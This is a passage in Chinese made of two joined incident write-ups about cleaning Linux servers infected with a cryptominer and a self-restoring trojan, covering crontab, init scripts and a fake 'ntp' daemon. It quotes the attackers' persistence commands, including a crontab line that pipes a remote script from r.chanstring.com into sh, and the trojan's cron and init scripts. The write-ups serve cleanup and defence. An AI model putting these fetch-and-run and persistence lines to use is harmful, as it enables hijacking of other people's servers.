务器，使得登录时不需要输入账号与密码。 

 

 

先堵住免登录漏洞 

1、修改 ssh 端口 

编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端

口 
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2、禁止 root 用户登陆 

编辑/etc/ssh/sshd_config 文件中的 PermitRootLogin 修改为

no 

3、修改无密码登陆的文件路径 

编辑/etc/ssh/sshd_config 文件中的 AuthorizedKeysFile 修改

为其他文件路径 

4、删除 .ssh 下的 KHK75NEOiq 

5、不让外网直接连接 

在 redis.conf 文件中找到#bind 127.0.0.1，把前面的#号去掉，

重启 

 

找到木马守护进程 

1、通常直接 kill 掉进程，是不好使的，肯定有守护进程，还有

系统自启动，所以清理步骤是这样的： 

1）干掉守护进程 

2）干掉系统自启动 

3）干掉木马进程 

找到木马守护进程并干掉 

守护进程有大概有两种存在形式，crontab 和常驻进程，常驻进

程得慢慢分析，我们先看 crontab，有一条不是我创建的任务。

任务是：直接从远程下载一个脚本 pm.sh 并执行。 
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2、我们来看看这个脚本 

 

3、大致逻辑是这样的： 

1）把 /10 * * * curl 

-fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入 crontab 

2）把 authorized_keys 删掉，并创建免登录文件

/root/.ssh/KHK75NEOiq，修改 ssh 配置重启 

http://r.chanstring.com/pm.sh?0706
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3）curl 下载/opt/KHK75NEOiq33 这个文件，并执行安装

（/opt/KHK75NEOiq33 --Install），然后启动 ntp 

4、基本可以断定这个 ntp 就是守护进程，但看到 ntp 真的有些

怕怕，ntp 不是搞时间同步的吗，其实 Linux 正常的 ntp 服务叫

ntpd，并非 ntp，很有迷惑性啊 

 

5、但为了让自己放心，还是校验了一番 

我们先从时间上校验，ntp 是不是木马任务后创建的 

查看这个木马任务第一次执行的时间 

去/var/log 下看 cron 的日志 
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6、Jul 24 09:23:01 第一次执行： curl 

-L http://r.chanstring.com/pm.sh?0703 

Jul 24 09:30:01 第一次我们目前 crontab 里的任务：curl 

-fsSLhttp://r.chanstring.com/pm.sh?0706 

Jul 24 09:49 脚本/etc/init.d/ntp 的创建时间 

从 pm.sh 这个脚本可知 curl 下来/opt/KHK75NEOiq33 这个文

件，并执行安装 /opt/KHK75NEOiq33 --Install 比较耗时间，

我执行了一下，在我的机器上是 10 多分钟。 

所以创建时间上基本吻合 

http://r.chanstring.com/pm.sh?0703
http://r.chanstring.com/pm.sh?0706
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7、我们看一下 ntp 的随系统启动 

runlevel 2 3 4 5 都启动了，够狠的呀 

 

8、看一下常用的 3 吧 

可以看到 有个 S50ntp 软链了脚本/etc/init.d/ntp 

 

9、我们查看系统启动日志 

vim /var/log/boot.log 

有一条是 Staring S50ntp，这个基本对应脚本/etc/init.d/ntp 中

的 echo "Starting $name" 
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10、我们来看一下 /etc/init.d/ntp 这个脚本 

$name 应该就对应的值是 S50ntp，通过

stdout_log,stderr_log,pid_file 也得到了验证。 

 

11、通过搜索安装文件（/opt/KHK75NEOiq33），可知看到 

/opt/KHK75NEOiq33 --Install 的过程中写入了 ntp 脚本 自启

动 /opt/minerd 等一系列的操作。 
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12、打开 /usr/local/etc/minerd.conf，内容就是/opt/minerd

这个进程后的一些参数 

 

13、好了 验证完毕，可以干掉这个 ntp 了 

 

清理木马 

1、去掉 crontab 文件中的有关木马内容： 

/var/spool/cron/crontabs/root 

/var/spool/cron/root 

2、干掉守护进程 ntp，并删除相关文件 
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3、干掉木马进程及其文件 

 

4、干掉安装文件及免密登录的文件 

 

5、干掉随系统启动的文件 

 

6、top 一下 一切都正常了！ 
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7、重启一下，也没问题了 
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Linux 之在 CentOS 上一次艰难的木马查杀过程 

 

今天朋友说他一台要准备上线的生产服务器被挂马，特征 ps

命令找不到进程，top 能看到负载最高的一个程序是一个随机的

10 位字母的东西，kill 掉之后自动再次出现一个随机 10 位字母

的进程。 

我让他关闭这个机器的外网，内网放开，在局域网中给我一

个跳板。等我拿到权限之后进入机器，先按照朋友说的验证了一

遍，果然是那样，木马有自我保护自我恢复。 

这时候我想到一个问题居然是能自我开机启动，要么

/etc/rc.d/{init.d,rc{1,2,3,4,5}.d}/下有启动脚本，要么有 cron

计划任务。 

于是我发现 crontab -l 是正常，来到/etc/rc.d/init.d 下发现

了异常有 10 位字母的启动脚本，脚本内容如下 

01 

02 

03 

04 

05 

[root@Xd9BdoAkG ~]# cat /etc/rc.d/init.d/fregonnzkq 

#!/bin/sh 

# chkconfig: 12345 90 90 

# description: fregonnzkq 

### BEGIN INIT INFO 
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06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

20 

21 

22 

# Provides:        fregonnzkq 

# Required-Start:     

# Required-Stop:     

# Default-Start:    1 2 3 4 5 

# Default-Stop:         

# Short-Description:    fregonnzkq 

### END INIT INFO 

case $1 in 

start) 

    /usr/bin/fregonnzkq 

    ;; 

stop) 

    ;; 

*) 

    /usr/bin/fregonnzkq 

    ;; 

esac 

看到这我真是佩服这帮人单用户启动模式都不放过啊，尼玛，

你这是赶尽杀绝啊。。。。。。。 

到了这里我天真的删除了几个这样的启动脚本，然后重启服务

器，问题依旧。。。。。。。。。你妹啊。。。不带这样玩的。。。。 
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到了这时候我多想了下，是不是还有启动脚本？仔细核查发

现/etc/rc.d/rc3.d/下还有问题 

01 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

20 

[root@Xd9BdoAkG rc3.d]# ls -lt 

total 0 

lrwxrwxrwx  1 root root 20 Sep  8 13:21 S90eviykluziy -> ../init.d/eviykluziy 

lrwxrwxrwx  1 root root 20 Sep  8 12:49 S90yuurxgembh -> ../init.d/yuurxgembh 

lrwxrwxrwx  1 root root 20 Sep  8 10:37 S90fregonnzkq -> ../init.d/fregonnzkq 

lrwxrwxrwx. 1 root root 15 Sep  7 14:08 S85nginx -> ../init.d/nginx 

lrwxrwxrwx. 1 root root 24 Sep  7 13:55 S99libvirt-guests -> ../init.d/libvirt-guests 

lrwxrwxrwx. 1 root root 19 Sep  7 13:55 S26haldaemon -> ../init.d/haldaemon 

lrwxrwxrwx. 1 root root 19 Sep  7 13:54 K10saslauthd -> ../init.d/saslauthd 

lrwxrwxrwx. 1 root root 20 Sep  7 13:54 S22messagebus -> ../init.d/messagebus 

lrwxrwxrwx. 1 root root 14 Sep  7 13:51 S55sshd -> ../init.d/sshd 

lrwxrwxrwx. 1 root root 18 Sep  7 13:51 K15svnserve -> ../init.d/svnserve 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 S10network -> ../init.d/network 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 S12rsyslog -> ../init.d/rsyslog 

lrwxrwxrwx. 1 root root 15 Sep  7 13:44 S90crond -> ../init.d/crond 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K75udev-post -> ../init.d/udev-post 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 K30postfix -> ../init.d/postfix 

lrwxrwxrwx. 1 root root 15 Sep  7 13:44 K75netfs -> ../init.d/netfs 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K85mdmonitor -> ../init.d/mdmonitor 

lrwxrwxrwx. 1 root root 22 Sep  7 13:44 K99lvm2-monitor -> ../init.d/lvm2-monitor 
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21 

22 

23 

24 

25 

26 

27 

28 

29 

30 

31 

lrwxrwxrwx. 1 root root 15 Sep  7 13:44 K80kdump -> ../init.d/kdump 

lrwxrwxrwx. 1 root root 18 Sep  7 13:44 K92iptables -> ../init.d/iptables 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K92ip6tables -> ../init.d/ip6tables 

lrwxrwxrwx. 1 root root 20 Sep  7 13:44 K90eyshcjdmzg -> ../init.d/eyshcjdmzg 

lrwxrwxrwx. 1 root root 26 Sep  7 13:44 K75blk-availability -> ../init.d/blk-availability 

lrwxrwxrwx. 1 root root 16 Sep  7 13:44 K88auditd -> ../init.d/auditd 

lrwxrwxrwx. 1 root root 17 Sep  7 13:37 K75ntpdate -> ../init.d/ntpdate 

lrwxrwxrwx. 1 root root 20 Sep  7 12:15 K50netconsole -> ../init.d/netconsole 

lrwxrwxrwx. 1 root root 11 Sep  7 12:15 S99local -> ../rc.local 

lrwxrwxrwx. 1 root root 15 Sep  7 12:15 K89rdisc -> ../init.d/rdisc 

lrwxrwxrwx. 1 root root 21 Sep  7 12:15 K87restorecond -> ../init.d/restorecond 
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看到后我只想把这个木马的作者找到然后说收我做徒弟

吧。。。。。。。。 

于是我又很傻很天真的删除了这些启动脚本，并且 kill 了相关进

程，希望的太阳没有升起，沉重的打击再次来临，木马再次自我

复制自我运行了。。。。启动脚本再次出现了。。 

我知道我进入了误区，重新想思路。。。 

http://i3.tietuku.com/2de9bc19c2b98777.png
http://i3.tietuku.com/2de9bc19c2b98777.png
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不知道为什么我瞬间想到了我遗漏了一个地方，cron，对。。。

我是 crontab -l 来查看的，还有个地方的 cron 任务不会在这个

命令下出现/etc/cron.* 

01 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

[root@Xd9BdoAkG ~]# cat /etc/crontab  

SHELL=/bin/bash 

PATH=/sbin:/bin:/usr/sbin:/usr/bin 

MAILTO=root 

HOME=/ 

# For details see man 4 crontabs 

# Example of job definition: 

# .---------------- minute (0 - 59) 

# |  .------------- hour (0 - 23) 

# |  |  .---------- day of month (1 - 31) 

# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ... 

# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat 

# |  |  |  |  | 

# *  *  *  *  * user-name command to be executed 

*/3 * * * * root /etc/cron.hourly/gcc.sh 

你妹啊 啊 啊 啊，不带这样玩的 

1 

2 

3 

[root@Xd9BdoAkG ~]# cat /etc/cron.hourly/gcc.sh 

#!/bin/sh 

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin 
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4 

5 

6 

for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done 

cp /lib/libudev.so /lib/libudev.so.6 

/lib/libudev.so.6 

1 

2 

3 

4 

5 

6 

[root@Xd9BdoAkG ~]# cat /proc/net/dev|grep :|awk -F: {'print $1'} 

     lo 

    em1 

    em2 

    em3 

    em4 

我擦，看到这，再次 shit，你还知道主动启动网络和外面联

系啊。。。。 

1 

2 

[root@Xd9BdoAkG ~]# file /lib/libudev.so 

/lib/libudev.so: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped 

居然不是脚本什么的，想看文件具体内容暂时是没时间

了。。。。。。。 

到了这里我们可以确认有几个地方有问题/lib/libudev.so 

/etc/cron.hourly/gcc.sh /etc/crontab /etc/rc.d/init.d/ 

/etc/rc.d/rc3.d/ 

由于对方发送大量数据包，所以开始采取 iptables 来封禁，

发现这玩意直接把output是 state 为new的drop掉。。。。。。。。

不想说了，已经被他玩够了，不在乎多一次。。 
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通过排查可以肯定/lib/libudev.so 是主体。其他是协助运行

和自我保护自我复制的实现。既然你是个程序还在系统上，我有

root，还搞不定么。为了不再多拖时间，直接查杀了。。 

01 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

[root@Xd9BdoAkG ~]# chmod 0000 /lib/libudev.so && rm -rf /lib/libudev.so && chattr +i /lib/ 

#在一步一点要这样运行，不然赶不上木马的自我恢复速度。。。。。我在这里坑了很长时间。 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

[root@Xd9BdoAkG ~]# ls /lib/ 

cpp  firmware  kbd  modules  security  terminfo  udev 

##貌似主体被控制住了，不能再次自我恢复了。。。 

[root@Xd9BdoAkG ~]# ls /etc/rc.d/rc3.d/ | awk '$7>=8 && $NF~/^K90/{print $NF}' | egrep '^.{10}$'| xargs -i rm -rf /etc/rc.d/rc3.d/{} 

chmod 0000 /etc/rc.d/rc3.d/ && chmod 0000 /etc/rc.d/init.d && chattr +i /etc/rc.d/rc3.d/ && chattr +i /etc/rc.d/init.d 

#删除启动脚本 awk '$7>=8 && $NF~/^K90/{print $NF}' 这里的 8 是当天的日期 8 号的意思，写的不严紧，勿喷~~~ 

#且控制目录不能写东西了 
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1 

2 

[root@Xd9BdoAkG ~]# sed '/gcc.sh/d' /etc/crontab && chmod 0000 /etc/crontab && chattr +i /etc/crontab 

#删除计划任务且控制计划任务不能写东西 

到了这里基本就差不多了。。。。。现在去重启服务器， 

01 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

[root@Xd9BdoAkG ~]# top -b -n1 | head 

top - 18:13:47 up 0 min,  1 user,  load average: 0.11, 0.03, 0.01 

Tasks: 178 total,   2 running, 176 sleeping,   0 stopped,   0 zombie 

Cpu(s):  1.4%us,  1.6%sy,  0.0%ni, 95.7%id,  1.3%wa,  0.0%hi,  0.0%si,  0.0%st 

Mem:  32827160k total,   486308k used, 32340852k free,     6864k buffers 

Swap: 16482300k total,        0k used, 16482300k free,    28312k cached 

  

  PID USER      PR  NI  VIRT  RES  SHR 

S %CPU %MEM    TIME+  COMMAND                                                                      

    1 root      20   0 19232 1512 1224 S  0.0  0.0   0:01.26 

init                                                                         

    2 root      20   0     0    0    0 S  0.0  0.0   0:00.00 

kthreadd                                                                     

    3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 

migration/0                                                                 

[root@Xd9BdoAkG ~]# top -b -n1 | head 

top - 18:13:51 up 0 min,  1 user,  load average: 0.10, 0.03, 0.01 

Tasks: 178 total,   1 running, 177 sleeping,   0 stopped,   0 zombie 

Cpu(s):  1.3%us,  1.5%sy,  0.0%ni, 96.0%id,  1.2%wa,  0.0%hi,  0.0%si,  0.0%st 
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20 

21 

22 

23 

24 

25 

26 

27 

28 

29 

30 

31 

32 

33 

Mem:  32827160k total,   486136k used, 32341024k free,     6872k buffers 

Swap: 16482300k total,        0k used, 16482300k free,    28344k cached 

  

  PID USER      PR  NI  VIRT  RES  SHR 

S %CPU %MEM    TIME+  COMMAND                                                                      

 1414 root      20   0 15020 1232  872 R  2.0  0.0   0:00.01 

top                                                                         

    1 root      20   0 19232 1512 1224 S  0.0  0.0   0:01.26 

init                                                                         

    2 root      20   0     0    0    0 S  0.0  0.0   0:00.00 

kthreadd                                                                     

[root@Xd9BdoAkG ~]# top -b -n1 | head 

top - 18:14:15 up 1 min,  1 user,  load average: 0.06, 0.03, 0.01 

Tasks: 178 total,   1 running, 177 sleeping,   0 stopped,   0 zombie 

Cpu(s):  0.8%us,  0.9%sy,  0.0%ni, 97.6%id,  0.7%wa,  0.0%hi,  0.0%si,  0.0%st 

Mem:  32827160k total,   483360k used, 32343800k free,     6900k buffers 

Swap: 16482300k total,        0k used, 16482300k free,    28360k cached 

  

  PID USER      PR  NI  VIRT  RES  SHR 

S %CPU %MEM    TIME+  COMMAND                                                                      

    1 root      20   0 19232 1512 1224 S  0.0  0.0   0:01.26 

init                                                                         
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    2 root      20   0     0    0    0 S  0.0  0.0   0:00.00 

kthreadd                                                                     

    3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 migration/0 

01 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

[root@Xd9BdoAkG ~]# ls /etc/cron.hourly/ 

0anacron 

[root@Xd9BdoAkG ~]# ls -lt /etc/rc.d/rc3.d/ 

total 0 

lrwxrwxrwx. 1 root root 15 Sep  7 14:08 S85nginx -> ../init.d/nginx 

lrwxrwxrwx. 1 root root 24 Sep  7 13:55 S99libvirt-guests -> ../init.d/libvirt-guests 

lrwxrwxrwx. 1 root root 19 Sep  7 13:55 S26haldaemon -> ../init.d/haldaemon 

lrwxrwxrwx. 1 root root 19 Sep  7 13:54 K10saslauthd -> ../init.d/saslauthd 

lrwxrwxrwx. 1 root root 20 Sep  7 13:54 S22messagebus -> ../init.d/messagebus 

lrwxrwxrwx. 1 root root 14 Sep  7 13:51 S55sshd -> ../init.d/sshd 

lrwxrwxrwx. 1 root root 18 Sep  7 13:51 K15svnserve -> ../init.d/svnserve 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 S10network -> ../init.d/network 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 S12rsyslog -> ../init.d/rsyslog 

lrwxrwxrwx. 1 root root 15 Sep  7 13:44 S90crond -> ../init.d/crond 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K75udev-post -> ../init.d/udev-post 

lrwxrwxrwx. 1 root root 17 Sep  7 13:44 K30postfix -> ../init.d/postfix 

lrwxrwxrwx. 1 root root 15 Sep  7 13:44 K75netfs -> ../init.d/netfs 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K85mdmonitor -> ../init.d/mdmonitor 

lrwxrwxrwx. 1 root root 22 Sep  7 13:44 K99lvm2-monitor -> ../init.d/lvm2-monitor 
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lrwxrwxrwx. 1 root root 15 Sep  7 13:44 K80kdump -> ../init.d/kdump 

lrwxrwxrwx. 1 root root 18 Sep  7 13:44 K92iptables -> ../init.d/iptables 

lrwxrwxrwx. 1 root root 19 Sep  7 13:44 K92ip6tables -> ../init.d/ip6tables 

lrwxrwxrwx. 1 root root 26 Sep  7 13:44 K75blk-availability -> ../init.d/blk-availability 

lrwxrwxrwx. 1 root root 16 Sep  7 13:44 K88auditd -> ../init.d/auditd 

lrwxrwxrwx. 1 root root 17 Sep  7 13:37 K75ntpdate -> ../init.d/ntpdate 

lrwxrwxrwx. 1 root root 20 Sep  7 12:15 K50netconsole -> ../init.d/netconsole 

lrwxrwxrwx. 1 root root 11 Sep  7 12:15 S99local -> ../rc.local 

lrwxrwxrwx. 1 root root 15 Sep  7 12:15 K89rdisc -> ../init.d/rdisc 

lrwxrwxrwx. 1 root root 21 Sep  7 12:15 K87restorecond -> ../init.d/restorecond 

开机后发现进程没异常了，世界貌似平静了。。。。 

然后再次恢复/etc/crontab /etc/rc.d/init.d/ 

/etc/rc.d/rc3.d/ /lib 文件夹的权限。然后再次重启。。。。。

世界真的清静。。。。 

 

 

服务的类型：cpu 密集性,计算类型的，io 密集性，数据库硬盘读

写 io 

us:sy=3:7 

 

 

 


